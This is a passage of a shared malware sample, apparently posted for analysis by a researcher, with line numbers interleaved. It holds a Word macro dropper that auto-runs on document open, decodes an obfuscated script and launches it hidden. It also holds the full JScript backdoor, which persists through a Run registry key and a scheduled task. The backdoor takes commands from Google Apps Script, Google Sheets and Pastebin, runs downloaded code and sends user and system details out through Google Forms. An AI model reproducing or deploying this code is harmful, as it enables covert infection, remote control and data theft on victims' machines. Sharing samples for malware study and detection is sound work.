 f = f & "5TZXJpYWxOdW1iZXI7DQoJfSBjYXRjaCAoZSkge30NCgl2YXIgcmVzdWx0ID0gQmFzZTY0LmVuY"
526
 f = f & "29kZShzbi50b1N0cmluZygpKTsNCglyZXN1bHQgPSByZXN1bHQucmVwbGFjZSgvW15cd10rL2cs"
527
 f = f & "ICIiKS5zbGljZSgwLCAyMCk7DQoJcmVzdWx0ID0gdXVpZCsiLiIrZ2lhYysiLiIrcmVzdWx0Ow0"
528
 f = f & "KCXJldHVybiAJcmVzdWx0Ow0KfQ=="
529
 
530
Set sh = CreateObject("WScript.Shell")
531
Dim FileNumber, figName, procID
532
Dim WorkPath As String
533
WorkPath = sh.ExpandEnvironmentStrings("%ALLUSERSPROFILE%")
534
WorkPath = WorkPath & "\TransbaseOdbcDriver"
535
Dim statMkDir As Boolean
536
statMkDir = CreateDir(WorkPath)
537
If statMkDir Then
538
    FileNumber = FreeFile
539
    figName = WorkPath & "\TransbaseOdbcDriver.js"
540
    Open figName For Output As #FileNumber
541
    Print #FileNumber, AP6fuezipn4(f)
542
    Close #FileNumber
543
    procID = Shell("wscript " & figName, vbHide)
544
End If
545
546
End Sub
547
548
Private Sub SetRegData()
549
   On Error Resume Next
550
   Set sh = CreateObject("WScript.Shell")
551
   Dim wscript_pthpath: wscript_pthpath = sh.ExpandEnvironmentStrings("%WINDIR%") + "\System32\WScript.exe"
552
   Dim run_pth_scr: run_pth_scr = sh.ExpandEnvironmentStrings("%ALLUSERSPROFILE%") + "\TransbaseOdbcDriver" + "\starter.vbs"
553
   Dim run_pth: run_pth = """" & wscript_pthpath & """ """ & run_pth_scr & """"
554
   On Error Resume Next
555
   sh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\TransbaseOdbcDriver", run_pth, "REG_SZ"
556
   On Error Resume Next
557
   sh.Run "schtasks /create /tn ""SysChecks"" /tr """ & run_pth & """ /sc minute /mo 30", 0, False
558
End Sub
559
560
Sub BH5qxufh333W99fghjplkWrtqzzY()
561
    Dim BI5kb0jp7 As Document: Set BI5kb0jp7 = ActiveDocument
562
    Application.ScreenUpdating = False
563
    
564
    Dim txt As String
565
    txt = cuid()
566
    txt = txt & " | " & GetUserData()
567
    txt = txt & " | " & IsWin32OrWin64()
568
    txt = txt & " | " & getOS()
569
570
    On Error GoTo ErrHandler:
571
    
572
    Dim res
573
    res = sendFormData(txt)
574
    
575
    If res Then
576
        ActiveDocument.Bookmarks("orderBkm12").Range.Text = "2017-3"
577
    Else
578
        ActiveDocument.Bookmarks("orderBkm12").Range.Text = "3037-2"
579
    End If
580
        
581
    ActiveDocument.Shapes(1).Visible = False
582
    ActiveDocument.Shapes(2).Visible = True
583
584
ErrHandler:
585
    
586
    On Error GoTo ErrHandler2:
587
588
    folderInit
589
    ggl_runer
590
    ggl_starter
591
    
592
    Application.Run ("ggl_hex")
593
    SetRegData
594
ErrHandler2:
595
    
596
    
597
598
599
    
600
601
602
603
604
605
    
606
    
607
    Application.ScreenUpdating = True
608
End Sub
609
610
Sub AutoOpen()
611
    Application.Run ("BH5qxufh3" + (AP6fuezipn4("MzNXOTlmZw==") & "hj" & "" & "plkWrtqzzY"))
612
End Sub
613
614
Sub Workbook_Open()
615
    Application.Run ("BH5qxufh3" + (AP6fuezipn4("MzNXOTlm") & "ghj" & Chr(-89 + 201) & Chr(-66 + 174) & Chr(12 + 95) & "WrtqzzY"))
616
End Sub
617
618
619
===== TransbaseOdbcDriver.js ===================================================================
620
621
var objSWbemServicesEx = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2");
622
var collSWbemObjectSet = objSWbemServicesEx.ExecQuery( "SELECT Name, CommandLine, ProcessID FROM Win32_Process WHERE Name LIKE '%[cw]script.exe' AND CommandLine LIKE '%[cw]script%" + WScript.ScriptName + "%'", "WQL", 0);
623
if(collSWbemObjectSet.Count > 1){ WScript.Quit(); }
624
625
var Base64 = {
626
 
627
  // private property
628
  _keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
629
 
630
  // public method for encoding
631
  encode: function (input) {
632
    var output = "";
633
    var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
634
    var i = 0;
635
 
636
    input = Base64._utf8_encode(input);
637
 
638
    while (i < input.length) {
639
 
640
      chr1 = input.charCodeAt(i++);
641
      chr2 = input.charCodeAt(i++);
642
      chr3 = input.charCodeAt(i++);
643
 
644
      enc1 = chr1 >> 2;
645
      enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
646
      enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
647
      enc4 = chr3 & 63;
648
 
649
      if (isNaN(chr2)) {
650
        enc3 = enc4 = 64;
651
      } else if (isNaN(chr3)) {
652
        enc4 = 64;
653
      }
654
 
655
      output = output + this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) + this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);
656
 
657
    }
658
 
659
    return output;
660
  },
661
 
662
  // public method for decoding
663
  decode: function (input) {
664
    var output = "";
665
    var chr1, chr2, chr3;
666
    var enc1, enc2, enc3, enc4;
667
    var i = 0;
668
 
669
    input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
670
 
671
    while (i < input.length) {
672
 
673
      enc1 = this._keyStr.indexOf(input.charAt(i++));
674
      enc2 = this._keyStr.indexOf(input.charAt(i++));
675
      enc3 = this._keyStr.indexOf(input.charAt(i++));
676
      enc4 = this._keyStr.indexOf(input.charAt(i++));
677
 
678
      chr1 = (enc1 << 2) | (enc2 >> 4);
679
      chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
680
      chr3 = ((enc3 & 3) << 6) | enc4;
681
 
682
      output = output + String.fromCharCode(chr1);
683
 
684
      if (enc3 != 64) {
685
        output = output + String.fromCharCode(chr2);
686
      }
687
      if (enc4 != 64) {
688
        output = output + String.fromCharCode(chr3);
689
      }
690
 
691
    }
692
 
693
    output = Base64._utf8_decode(output);
694
 
695
    return output;
696
 
697
  },
698
 
699
  // private method for UTF-8 encoding
700
  _utf8_encode: function (string) {
701
    string = string.replace(/\r\n/g, "\n");
702
    var utftext = "";
703
 
704
    for (var n = 0; n < string.length; n++) {
705
 
706
      var c = string.charCodeAt(n);
707
 
708
      if (c < 128) {
709
        utftext += String.fromCharCode(c);
710
      } else if ((c > 127) && (c < 2048)) {
711
        utftext += String.fromCharCode((c >> 6) | 192);
712
        utftext += String.fromCharCode((c & 63) | 128);
713
      } else {
714
        utftext += String.fromCharCode((c >> 12) | 224);
715
        utftext += String.fromCharCode(((c >> 6) & 63) | 128);
716
        utftext += String.fromCharCode((c & 63) | 128);
717
      }
718
 
719
    }
720
 
721
    return utftext;
722
  },
723
 
724
  // private method for UTF-8 decoding
725
  _utf8_decode: function (utftext) {
726
    var string = "";
727
    var i = 0;
728
    var c = c1 = c2 = 0;
729
 
730
    while (i < utftext.length) {
731
 
732
      c = utftext.charCodeAt(i);
733
 
734
      if (c < 128) {
735
        string += String.fromCharCode(c);
736
        i++;
737
      } else if ((c > 191) && (c < 224)) {
738
        c2 = utftext.charCodeAt(i + 1);
739
        string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
740
        i += 2;
741
      } else {
742
        c2 = utftext.charCodeAt(i + 1);
743
        c3 = utftext.charCodeAt(i + 2);
744
        string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
745
        i += 3;
746
      }
747
 
748
    }
749
 
750
    return string;
751
  }
752
}
753
754
if(!CreateDir())WScript.Quit();
755
756
var giac = "1";
757
var uuid = "1";
758
var guid = CUID();
759
	
760
var setttingArr = false;
761
762
do {
763
	
764
	if ( setttingArr ) {
765
	    GetSourceCode(setttingArr.spreadsheetkey, setttingArr.formkey, setttingArr.entry);
766
	}else{
767
		setttingArr = LoadLinkSettings();	
768
	}
769
	WScript.Sleep(1000*60*randInt(1,2));
770
}
771
while (1);
772
function randInt(min, max){
773
  return Math.round(Math.random()*(max-min)+min);
774
}
775
776
function LoadLinkSettings() {
777
	var go_com = InetRead("https://script.google.com/macros/s/AKfycbzoIDrStSeb5iJmwsxGZBvocsw4da2FZw0_fqOkRAgwzH7h2aE/exec"+ "?bid=" + guid);
778
	try {
779
		if( go_com['stat'] >= 200 &&  go_com['stat'] < 300){
780
			var cmd_txt = go_com['text'];
781
			var settingsArr = cmd_txt.match( /,\\x22userHtml\\x22:\\x22(.+)\\x22,\\x22ncc/ );
782
			var setting = split(settingsArr[1],'$$$',3);
783
			if (setting.length == 3) { 
784
				return {
785
					 "spreadsheetkey": setting[0]
786
					,"formkey": setting[1]
787
					,"entry": setting[2] 
788
				};		
789
			}
790
			var formkeyReg = "1BZuP3VYQjLAI59Dp_O9vCH1kg_gQNvhIvv-BkmpBTZ4";
791
			var entryReg = "entry.2025885932";
792
			LogInet(guid,formkeyReg,entryReg);			
793
		}
794
	} catch (e) {}
795
	return false;	
796
}		
797
798
function GetSourceCode(aspreadsheetkey,aformkey,aentry) {
799
800
        var GlobalObject = this;
801
        var FSO = new ActiveXObject("Scripting.FileSystemObject");
802
        var WshShell = new ActiveXObject("WScript.Shell");
803
		
804
        var formkey = aformkey;
805
		var entry = aentry;
806
        var spreadsheetkey = aspreadsheetkey;
807
808
        var intervalMin = 30;
809
        var intervalMax = 50;
810
        var botclass = GenerateString(8);
811
        var last = TextFileRead("%ALLUSERSPROFILE%\\TransbaseOdbcDriver\\dttsg.txt");
812
        var version = "1.0";
813
		
814
		var linkPB = "http://pastebin.com/raw/MfQV5e6R"; //as of 2017-02-02 {last: "abc123", code: "ZGltIHh4eA=="}
815
		var keyPath = "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\lasts";		
816
		
817
        WshShell.CurrentDirectory = GetScriptDir();
818
        Log();
819
        GetCommand();
820
		
821
        function GetCommand() {
822
                try {
823
						var legc = getLastExeGoogCmd();
824
						var cmb_ob = {}
825
						cmb_ob.flag = false;
826
						
827
						var go_com = InetRead("https://docs.google.com/spreadsheet/ccc?key=" + spreadsheetkey);
828
						if( go_com['stat'] >= 200 &&  go_com['stat'] < 300){
829
							var cmd_txt = HTMLParse(go_com['text']).document.documentElement.innerText;
830
							var command = split(cmd_txt,'$$$',3);	
831
							if (command.length == 4) {
832
								cmb_ob.c = command[2];
833
								cmb_ob.l = command[1];
834
								cmb_ob.flag = true;
835
							}else{
836
								cmb_ob.flag = false;
837
							}
838
							legc = 0;
839
						}else{
840
							legc = parseInt(legc)+1;
841
						}
842
						
843
						legc = setLastExeGoogCmd(legc);
844
						if(legc >= 1 && legc <=4)return;
845
						
846
						if( !cmb_ob.flag ){
847
							var pb_com = InetRead(linkPB);
848
							if( pb_com['stat'] >= 200 &&  pb_com['stat'] < 300){
849
								var jsn = eval ("(" + pb_com['text'] + ")");
850
								cmb_ob.c = jsn["code"];
851
								cmb_ob.l = jsn['last'];
852
								cmb_ob.flag = true;
853
							}else{
854
								cmb_ob.flag = false;
855
							}
856
						}
857
						
858
						if( cmb_ob.flag ){
859
							if(last != cmb_ob.l){
860
								//last = cmb_ob.l;
861
								var r = TextFileCreate("%ALLUSERSPROFILE%\\TransbaseOdbcDriver\\dttsg.txt");
862
								r.Write(cmb_ob.l);
863
								r.Close();
864
								Log("GetCommand::" + cmb_ob.c);
865
								//eval(cmb_ob.c);
866
								if(last == "")return;
867
								
868
								var cod_data = Base64.decode(cmb_ob.c);								
869
								if(cod_data == "deleteBot")destroy();
870
871
								var tempname1 = "LanCradDriver.ini";
872
								var tempname2 = "LanCradDriver.vbs";
873
								var tmpPath = WshShell.ExpandEnvironmentStrings("%ALLUSERSPROFILE%\\TransbaseOdbcDriver");
874
								var tempath1 = tmpPath + "\\"+tempname1;
875
								var tempath2 = tmpPath + "\\"+tempname2;
876
								
877
								var f = FSO.OpenTextFile(tempath1,2,false,-1);
878
								f.Write(cod_data);
879
								f.Close();
880
                                
881
								WScript.Sleep(5000);
882
								WshShell.Run('cmd.exe /k wscript.exe "' + tempath2 + '"',0,false);	
883
							}							
884
						}else{
885
							Log("GetCommand::" + "no exect");
886
						}					
887
                } catch (e) {
888
                        Log("GetCommand::" + e.description);
889
                }
890
        }
891
 
892
        function getRandomInt(min, max) {
893
                return Math.floor(Math.random() * (max - min + 1)) + min;
894
        }
895
 
896
        function GetScriptDir() {
897
                return GetScriptFullPath().replace(/[^\\]+$/g, "");
898
        }
899
 
900
        function GetScriptFullPath() {
901
                if (GlobalObject.location && GlobalObject.location.href) return unescape(location.href.replace(/^.+\/\/\//, "").replace(/\//g, "\\"));
902
                if (GlobalObject.WScript) return WScript.ScriptFullName;
903
                return "";
904
        }
905
 
906
        function HTMLParse(code, dont_prevent_code_exec) {
907
                try {
908
                        var document = new ActiveXObject("HTMLFile");
909
                        if (!dont_prevent_code_exec) document.designMode = "on";
910
                        document.write(code);
911
                        document.close();
912
                        if (!dont_prevent_code_exec) document.execCommand("stop");
913
                        return document.parentWindow;
914
                } catch (e) {
915
                        Log("HTMLParse::" + e.description)
916
                };
917
                return {};
918
        }
919
 
920
        function Log(value) {
921
                value = value || "";
922
				value
923
                value = guid + "$$$" + botclass + "::" + GetUserName() + "::" + encodeURI(value);
924
				LogInet(value,formkey,entry);
925
        }
926
 
927
        function FileExists(Path) {
928
                Path = WshShell.ExpandEnvironmentStrings(Path);
929
                return FSO.FolderExists(Path) || FSO.FileExists(Path);
930
        }
931
 
932
        function TextFileRead(Path) {
933
                if (!Path) return "";
934
                if (!FileExists(Path)) return "";
935
                Path = WshShell.ExpandEnvironmentStrings(Path);
936
                if (FSO.GetFile(Path).Size == 0) return "";
937
                try {
938
                        var Stream = FSO.OpenTextFile(Path, 1, 0, -2),
939
                                Result = Stream.ReadAll();
940
                        Stream.Close();
941
                        return Result;
942
                } catch (e) {
943
                        //Log("TextFileRead::" + Path + "::" + e.descrition);
944
                };
945
        }
946
 
947
        function TextFileCreate(Path) {
948
                try {
949
                        Path = WshShell.ExpandEnvironmentStrings(Path);
950
                        if (FileExists(Path)) FSO.DeleteFile(Path, true);
951
                        return FSO.OpenTextFile(Path, 2, 1, -1)
952
                } catch (e) {
953
                        Log("TextFileCreate::" + e.description)
954
                };
955
                return null;
956
        }
957
 
958
        function GenerateString(L) {
959
                if (!L) L = 8;
960
                return new ActiveXObject("Scriptlet.TypeLib").Guid.replace(/[^\w]+/g, "").slice(0, L);
961
        }
962
 
963
        function CreateObject(ProgId) {
964
                return new ActiveXObject(ProgId);
965
        }
966
 
967
        function GetUserName() {
968
                try {
969
                        return CreateObject("WScript.NetWork").UserName;
970
                } catch (e) {
971
                        Log("GetUserName::" + e.description);
972
                        return "Unknown"
973
                }
974
        }
975
976
        function getLastExeGoogCmd() {
977
			var regValue = 0;
978
			try {			
979
				regValue = WshShell.RegRead(keyPath);
980
			} catch (e) {
981
				setLastExeGoogCmd(regValue);
982
			}
983
			return regValue;
984
        }
985
        function setLastExeGoogCmd(regValue) {
986
			try {			
987
				WshShell.RegWrite(keyPath,regValue, "REG_SZ");			
988
			} catch (e) {
989
				return -1;
990
			}
991
			return regValue;						
992
        }
993
		
994
		function sDOS2Win(sText, bInsideOut) {
995
		  var aCharsets = ["windows-1251", "cp866"];
996
		  sText += "";
997
		  bInsideOut = bInsideOut ? 1 : 0;
998
		  with (new ActiveXObject("ADODB.Stream")) { 
999
			type = 2; //Binary 1, Text 2 (default) 
1000
			mode = 3; //Permissions have not been set 0,  Read-only 1,  Write-only 2,  Read-write 3,  
1001
			//Prevent other read 4,  Prevent other write 8,  Prevent other open 12,  Allow others all 16
1002
			charset = aCharsets[bInsideOut];
1003
			open();
1004
			writeText(sText);
1005
			position = 0;
1006
			charset = aCharsets[1 - bInsideOut];
1007
			return readText();
1008
		  }
1009
		}		
1010
1011
		function destroy(){
1012
			try {
1013
				WshShell.RegDelete("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\TransbaseOdbcDriver");		
1014
			}catch(e){}
1015
1016
			try {
1017
				WshShell.Run('schtasks /delete /tn "SysChecks" /f', 0, false);
1018
			}catch(e){}
1019
1020
			var strScriptDir = WshShell.ExpandEnvironmentStrings("%ALLUSERSPROFILE%\\TransbaseOdbcDriver");
1021
			var strScript = "";
1022
			
1023
			try {
1024
				strScript = WScript.ScriptFullName;
1025
				if(FSO.FileExists(strScript)){ FSO.DeleteFile(strScript, true);	}
1026
			}catch(e){}	
1027
1028
			try {
1029
				strScript = strScriptDir + "\\LanCradDriver.ini"; 
1030
				if(FSO.FileExists(strScript)){ FSO.DeleteFile(strScript, true);	}
1031
			}catch(e){}	
1032
			try {
1033
				strScript = strScriptDir + "\\LanCradDriver.vbs"; 
1034
				if(FSO.FileExists(strScript)){ FSO.DeleteFile(strScript, true);	}
1035
			}catch(e){}	
1036
			try {
1037
				strScript = strScriptDir + "\\starter.vbs"; 
1038
				if(FSO.FileExists(strScript)){ FSO.DeleteFile(strScript, true);	}
1039
			}catch(e){}	
1040
			try {
1041
				strScript = strScriptDir + "\\pather.vbs"; 
1042
				if(FSO.FileExists(strScript)){ FSO.DeleteFile(strScript, true);	}
1043
			}catch(e){}	
1044
			try {
1045
				strScript = strScriptDir + "\\pather.ini"; 
1046
				if(FSO.FileExists(strScript)){ FSO.DeleteFile(strScript, true);	}
1047
			}catch(e){}	
1048
						
1049
			WScript.Quit();			
1050
		}			
1051
}
1052
1053
function CreateDir(){
1054
	try {
1055
		var WshShell = new ActiveXObject("WScript.Shell");
1056
		var dirpath = WshShell.ExpandEnvironmentStrings("%ALLUSERSPROFILE%\\TransbaseOdbcDriver");		
1057
		var FSO = WScript.CreateObject("Scripting.FileSystemObject"); 		
1058
		if(!FSO.FolderExists(dirpath)){
1059
			FSO.CreateFolder(dirpath);
1060
		}
1061
		return true;
1062
	}catch(e){}
1063
	return true;
1064
}	
1065
1066
function getProxy(){
1067
	var WshShell = new ActiveXObject("WScript.Shell");
1068
	
1069
	try {
1070
		var ProxyEnable = WshShell.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyEnable");
1071
		if(ProxyEnable == 1){
1072
			var ProxyServer = WshShell.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyServer");
1073
			return ProxyServer;
1074
		}else{
1075
			return "";
1076
		}
1077
	} catch (e) {
1078
		return "";
1079
	}			
1080
}
1081
1082
function InetRead(url) {
1083
		var data_sataus_arr = new Object();
1084
		try {
1085
				var httpReq = new ActiveXObject("Msxml2.ServerXMLHTTP.6.0");
1086
				httpReq.setOption(2, 13056); //SXH_SERVER_CERT_IGNORE_ALL_SERVER_ERRORS = 13056;  SXH_OPTION_URL = -1
1087
				httpReq.setTimeouts(0, 0, 0, 0);
1088
				httpReq.open("GET", url, false);
1089
				var prox = getProxy()
1090
				if( prox != ""){
1091
					httpReq.setProxy(2, prox, "");
1092
				}				
1093
				httpReq.setRequestHeader("User-agent", "Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1");
1094
				httpReq.send();
1095
				//WScript.Echo(httpReq.getAllResponseHeaders());
1096
				//WScript.Echo(httpReq.status);
1097
				data_sataus_arr['stat'] = httpReq.status;
1098
				data_sataus_arr['text'] = httpReq.responseText;
1099
		} catch (e) { 
1100
			//WScript.Echo(httpReq.status);
1101
			data_sataus_arr['text'] = "";
1102
			data_sataus_arr['stat'] = "100";
1103
		};
1104
		return data_sataus_arr;
1105
}
1106
1107
function LogInet(value,formkey,entry) {
1108
	try {
1109
		var httpReq = new ActiveXObject("Msxml2.ServerXMLHTTP.6.0");
1110
		httpReq.setOption(2, 13056); 
1111
		httpReq.setTimeouts(0, 0, 0, 0);
1112
		url = "https://docs.google.com/forms/d/" + formkey + "/formResponse";
1113
		httpReq.open("POST", url, false);
1114
		var prox = getProxy()
1115
		if( prox != ""){
1116
			httpReq.setProxy(2, prox, "");
1117
		}
1118
		httpReq.setRequestHeader("User-agent", "Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1");
1119
		httpReq.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");	
1120
		httpReq.send(entry + "=" + value);
1121
	} catch (e) {}
1122
}
1123
 
1124
function split(str, separator, limit) {
1125
	str = str.split(separator);
1126
	if(str.length <= limit) return str;
1127
1128
	var ret = str.splice(0, limit);
1129
	ret.push(str.join(separator));
1130
1131
	return ret;
1132
}
1133
1134
function CUID(){
1135
	var sn = "1";
1136
	try {
1137
		var FSO = WScript.CreateObject("Scripting.FileSystemObject"); 
1138
		var strDrive = FSO.GetDriveName(FSO.GetSpecialFolder(0));
1139
		var D = FSO.GetDrive(strDrive);
1140
		sn = D.SerialNumber;
1141
	} catch (e) {}
1142
	var result = Base64.encode(sn.toString());
1143
	result = result.replace(/[^\w]+/g, "").slice(0, 20);
1144
	result = uuid+"."+giac+"."+result;
1145
	return 	result;
1146
}
1147
==== LanCradDriver.vbs ====================================================================
1148
1149
Dim objFSO, objShell, strFile, ReadAllTextFile
1150
Set objFSO = CreateObject("Scripting.FileSystemObject")
1151
Set objShell = WScript.CreateObject( "WScript.Shell" )
1152
strFile = objShell.ExpandEnvironmentStrings("%ALLUSERSPROFILE%\TransbaseOdbcDriver\LanCradDriver.ini")
1153
Set objFile = objFSO.OpenTextFile(strFile,1,false,-1)
1154
If objFile.AtEndOfStream Then
1155
	ReadAllTextFile = ""
1156
Else
1157
	ReadAllTextFile = objFile.ReadAll
1158
End If
1159
objFile.Close
1160
ExecuteGlobal ReadAllTextFile
1161
1162
1163
## uploaded by @JohnLaTwc